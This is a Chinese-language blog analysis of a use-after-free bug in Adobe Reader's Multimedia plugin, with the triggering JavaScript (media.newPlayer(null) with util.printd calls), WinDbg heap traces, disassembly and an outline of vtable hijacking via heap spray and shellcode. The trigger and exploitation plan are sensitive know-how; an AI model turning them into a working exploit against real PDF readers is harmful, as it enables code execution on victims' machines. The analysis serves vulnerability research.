author:dge

又要过年了,迷迷糊糊一年过去了,新的春天要来了,希望一切都会更好。

这个洞出来很久了,大牛们也给出了漏洞原理:http://blog.fortinet.com/tag/pdf-vulnerabilities/,但是没具体分析过程。
其实这个洞分析起来并不复杂,下边把我的分析思路写下。

1.能控制什么?

通过对POC分析可知夺取控制权的地址是Multimedia模块中的某个虚函数调用:
eax=02b75958 ebx=23826917 ecx=02b75958 edx=002e0031 esi=028a7de4 edi=028a7de4
eip=2d843114 esp=0013fb3c ebp=0013fbb8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Multimedia!PlugInMain+0x41b66:
2d843114 ff5204          call    dword ptr [edx+4]    ds:0023:002e0035=09020207
0:000> dd edx
002e0031  08020207 09020207 0b020207 0c020206
002e0041  0d020206 0e020206 0f020206 10020206
002e0051  11020206 12020206 13020206 14020206
002e0061  15020206 16020206 17020206 18020206
002e0071  19020206 1a020206 1b020206 1c020206
002e0081  02020206 1c020207 1d020207 1f020207
002e0091  21020207 23020207 25020207 80020207
002e00a1  27020206 2a020207 2d020207 03020207
0:000> dd poi(edx+4)
09020207  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020217  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020227  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020237  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020247  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020257  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020267  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
09020277  0d0d0d0d 0d0d0d0d 0d0d0d0d 0d0d0d0d
0:000> db eax 
02b75958  31 00 2e 00 30 00 30 00-30 00 30 00 30 00 30 00  1...0.0.0.0.0.0.
02b75968  30 00 30 00 30 00 2e 00-30 00 30 00 30 00 30 00  0.0.0...0.0.0.0.
02b75978  30 00 30 00 30 00 30 00-30 00 2e 00 31 00 33 00  0.0.0.0.0...1.3.
02b75988  33 00 37 00 20 00 3a 00-20 00 33 00 2e 00 31 00  3.7. .:. .3...1.
02b75998  33 00 2e 00 33 00 37 00-00 00 00 00 00 00 00 00  3...3.7.........
02b759a8  03 00 0b 00 96 01 0e 03-74 00 79 00 70 00 65 00  ........t.y.p.e.
02b759b8  00 00 68 00 00 00 00 00-0b 00 03 00 9b 01 08 03  ..h.............
02b759c8  48 62 b7 02 58 59 b7 02-f0 61 b7 02 00 00 00 00  Hb..XY...a......

结合触发漏洞的脚本:
function trigger_bug()
        {
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
            try {
                media.newPlayer(null);
            } catch(e) {}
            util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
        }

显然这个漏洞可以控制虚函数表指针。

2.漏洞是如何产生的?
CVE上说,是use after free漏洞,很显然上边可控的那块内存肯定是被释放却又被滥用的了。
我们就跟踪下堆的分配和释放看看能不能找出点线索,我们可以通过设置断点并打印相关信息的方式来进行跟踪。

首先让出漏洞的模块先加载:
0:000>sxe ld:Multimedia.api
 
断下后我们对RtlAllocateHeap(在函数的结尾下断)和RtlFreeHeap设置断点并记录地址信息,并让其停在调用虚函数的指令上:

0:000>bp 7C9306E6 ".printf \"malloc :%N \\n \",eax;k;g"
0:000>bp RtlFreeHeap ".printf \"free :%N \\n \",poi(esp+c);k;g"
0:000>bp 2d843114 
0:000>g

断在2d843114 后,审查记录信息。

最后的一条记录信息:
eax=02b75958 ebx=23826917 ecx=02b75958 edx=002e0031 esi=028a7de4 edi=028a7de4
eip=2d843114 esp=0013fb3c ebp=0013fbb8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Multimedia!PlugInMain+0x41b66:
2d843114 ff5204          call    dword ptr [edx+4]    ds:0023:002e0035=09020207

接下来我们把分配在内存区间02b75000-02b75fff的分配操作都找出来。

直接在windbg记录中搜索malloc :02b75,找出来五个相关操作:

(1)
malloc :02b75958        
 ChildEBP RetAddr  
0013dab0 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dad0 78160e11 MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
0013dae8 2d802bee MSVCR80!operator new+0x1d [f:\sp\vctools\crt_bld\self_x86\crt\src\new.cpp @ 59]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x1640
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb

(2)
free :02b75958  
 ChildEBP RetAddr  
0013d274 78134c39 ntdll!RtlFreeHeap
0013d2c0 2d835f82 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x349d4
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb

(3)
malloc :02b75958 
 ChildEBP RetAddr  
0013d6f4 78134d83 ntdll!RtlAllocateHeap+0xea7
0013d714 2380761e MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013d740 23816d09 EScript!PlugInMain+0x626e
0013d76c 23858345 EScript!PlugInMain+0x15959
0013d8a4 23814e7b EScript!PlugInMain+0x56f95
0013d8c4 23858435 EScript!PlugInMain+0x13acb
0013d8f4 23858a3a EScript!PlugInMain+0x57085
0013d91c 2382cff9 EScript!PlugInMain+0x5768a
0013d9d4 23809f89 EScript!PlugInMain+0x2bc49
0013d9f4 23809e5f EScript!PlugInMain+0x8bd9
0013da88 23806987 EScript!PlugInMain+0x8aaf
0013db1c 2384dc4b EScript!PlugInMain+0x55d7
0013db68 2384fb58 EScript!PlugInMain+0x4c89b
0013dbfc 20a36fca EScript!PlugInMain+0x4e7a8
0013dc5c 20a372cf AcroForm!DllUnregisterServer+0x220f18
0013dd58 2382dd3a AcroForm!DllUnregisterServer+0x22121d
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8

(4)
free :02b75958  
 ChildEBP RetAddr  
0013d86c 78134c39 ntdll!RtlFreeHeap
0013d8b8 2380c416 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013d8f4 23858a3a EScript!PlugInMain+0xb066
0013d91c 2382cff9 EScript!PlugInMain+0x5768a
0013d9d4 23809f89 EScript!PlugInMain+0x2bc49
0013d9f4 23809e5f EScript!PlugInMain+0x8bd9
0013da88 23806987 EScript!PlugInMain+0x8aaf
0013db1c 2384dc4b EScript!PlugInMain+0x55d7
0013db68 2384fb58 EScript!PlugInMain+0x4c89b
0013dbfc 20a36fca EScript!PlugInMain+0x4e7a8
0013dc5c 20a372cf AcroForm!DllUnregisterServer+0x220f18
0013dd58 2382dd3a AcroForm!DllUnregisterServer+0x22121d
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8

(5)
malloc :02b75958  
 ChildEBP RetAddr  
0013dbdc 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dbfc 2380761e MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013dc2c 23820926 EScript!PlugInMain+0x626e
0013dd58 2382dd3a EScript!PlugInMain+0x1f576
0013dd90 2382dd1e EScript!PlugInMain+0x2c98a
0013de04 2380d9d2 EScript!PlugInMain+0x2c96e
0013debc 2381d388 EScript!PlugInMain+0xc622
00000000 00000000 EScript!PlugInMain+0x1bfd8

我们发现这些分配到的地址和eax中的this指针完全相同。
通过记录我们可以知道,这段内存的最终状态不是free,似乎与use after free扯不上边。

我们继续

这次把util.printd函数去掉再次测试
function trigger_bug()
        {
                media.newPlayer(null);     
        }

这次获取的记录:
(a)
malloc :02b75958   
 ChildEBP RetAddr  
0013dab0 78134d83 ntdll!RtlAllocateHeap+0xea7
0013dad0 78160e11 MSVCR80!malloc+0x7a [f:\sp\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
0013dae8 2d802bee MSVCR80!operator new+0x1d [f:\sp\vctools\crt_bld\self_x86\crt\src\new.cpp @ 59]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x1640
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb

(b)
free :02b75958   
 ChildEBP RetAddr  
0013d274 78134c39 ntdll!RtlFreeHeap
0013d2c0 2d835f82 MSVCR80!free+0xcd [f:\sp\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
WARNING: Stack unwind information not available. Following frames may be wrong.
0013db30 2d846775 Multimedia!PlugInMain+0x349d4
0013dbf0 2d829d0c Multimedia!PlugInMain+0x451c7
0013dcb0 23806896 Multimedia!PlugInMain+0x2875e
0013dcbc 23806869 EScript!PlugInMain+0x54e6
0013dcd4 2382afde EScript!PlugInMain+0x54b9
0013dce0 2382afe6 EScript!PlugInMain+0x29c2e
0013dcf4 23803e9b EScript!PlugInMain+0x29c36
00000000 00000000 EScript!PlugInMain+0x2aeb

哈哈,这次它的状态是free。这次和CVE所说的use after free是相吻合的。
现在只剩下一对分配和释放操作了,显然上次的“不合理”,是用以控制内存数据的函数util.printd所导致的。

通过观察(a)和(b)的调用栈信息,他们下边的部分是完全相同,这说明这两个操作应该都在一个函数中发生。
根据返回地址2d846775,我们找到这里:
.text:2D846770                 call    sub_2D846602
.text:2D846775                 add     esp, 14h
.text:2D846778                 push    [ebp+arg_C]

跟进sub_2D846602

.text:2D846602 sub_2D846602    proc near               ; CODE XREF: sub_2D846674+FCp
.text:2D846602
.text:2D846602 var_18          = dword ptr -18h
.text:2D846602 var_14          = dword ptr -14h
.text:2D846602 var_4           = dword ptr -4
.text:2D846602 arg_0           = dword ptr  8
.text:2D846602 arg_4           = dword ptr  0Ch
.text:2D846602 arg_8           = dword ptr  10h
.text:2D846602 arg_C           = dword ptr  14h
.text:2D846602 arg_10          = dword ptr  18h
.text:2D846602
.text:2D846602                 push    0Ch
.text:2D846604                 mov     eax, offset loc_2D8BA0F3
.text:2D846609                 call    __EH_prolog3_catch
.text:2D84660E                 mov     esi, [ebp+arg_4]
.text:2D846611                 mov     eax, [esi]
.text:2D846613                 mov     ecx, [eax+4]
.text:2D846616                 mov     ecx, [ecx+4]
.text:2D846619                 lea     ecx, [ecx+eax+4]
.text:2D84661D                 mov     eax, [ecx]
.text:2D84661F                 push    4Ch
.text:2D846621                 call    dword ptr [eax+0Ch] ;分配内存
.text:2D846624                 and     [ebp+var_4], 0
.text:2D846628                 mov     [ebp+var_14], eax
.text:2D84662B                 mov     [ebp+var_18], eax
.text:2D84662E                 test    eax, eax
.text:2D846630                 mov     byte ptr [ebp+var_4], 1
.text:2D846634                 jz      short loc_2D84666C
.text:2D846636                 push    [ebp+arg_10]
.text:2D846639                 mov     ecx, eax
.text:2D84663B                 push    [ebp+arg_C]
.text:2D84663E                 push    [ebp+arg_8]
.text:2D846641                 push    esi
.text:2D846642                 push    [ebp+arg_0]
.text:2D846645                 call    sub_2D8462CE
.text:2D84664A                 jmp     short loc_2D84666E
.text:2D84664C ; ---------------------------------------------------------------------------
.text:2D84664C
.text:2D84664C loc_2D84664C:                           ; DATA XREF: .rdata:2D8F2170o
.text:2D84664C                 mov     eax, [ebp+arg_4]
.text:2D84664F                 mov     eax, [eax]
.text:2D846651                 mov     ecx, [eax+4]
.text:2D846654                 mov     ecx, [ecx+4]
.text:2D846657                 push    [ebp+var_14]
.text:2D84665A                 lea     ecx, [ecx+eax+4]
.text:2D84665E                 mov     eax, [ecx]
.text:2D846660                 call    dword ptr [eax+1Ch] ;释放内存
.text:2D846663                 push    0
.text:2D846665                 push    0
.text:2D846667                 call    _CxxThrowException ;抛出异常

下边的函数会获得执行

.text:2D8430FC loc_2D8430FC:                           ; DATA XREF: sub_2D8462CE+203o
.text:2D8430FC                 push    esi
.text:2D8430FD                 mov     esi, [esp+8]
.text:2D843101                 test    esi, esi
.text:2D843103                 jz      short loc_2D843127
.text:2D843105                 push    esi
.text:2D843106                 call    sub_2D842C86
.text:2D84310B                 test    eax, eax
.text:2D84310D                 pop     ecx
.text:2D84310E                 jz      short loc_2D843127
.text:2D843110                 mov     edx, [eax]
.text:2D843112                 mov     ecx, eax
.text:2D843114                 call    dword ptr [edx+4] ;夺取控制权
.text:2D843117                 push    0
.text:2D843119                 push    offset aMediaplayer_th ; "MediaPlayer_This"
.text:2D84311E                 push    esi
.text:2D84311F                 call    sub_2D81DF66
.text:2D843124                 add     esp, 0Ch
.text:2D843127
.text:2D843127 loc_2D843127:                           ; CODE XREF: .text:2D843103j
.text:2D843127                                         ; .text:2D84310Ej
.text:2D843127                 mov     ax, 1
.text:2D84312B                 pop     esi
.text:2D84312C                 retn


3.漏洞利用:
object pointer   -->   fake object   -->   fake vtable     -->     fake virtual function

 

addr: xxxx             addr: yyyy          addr: cccc              addr: dddd

data: yyyy             data: cccc          data: +0 xxxx           data: nop slide

                                                 +4 dddd                 shellcode



在这里cccc是可控的,cccc必须确保dddd能指向我们可以用堆喷射覆盖到的内存区。





just for fun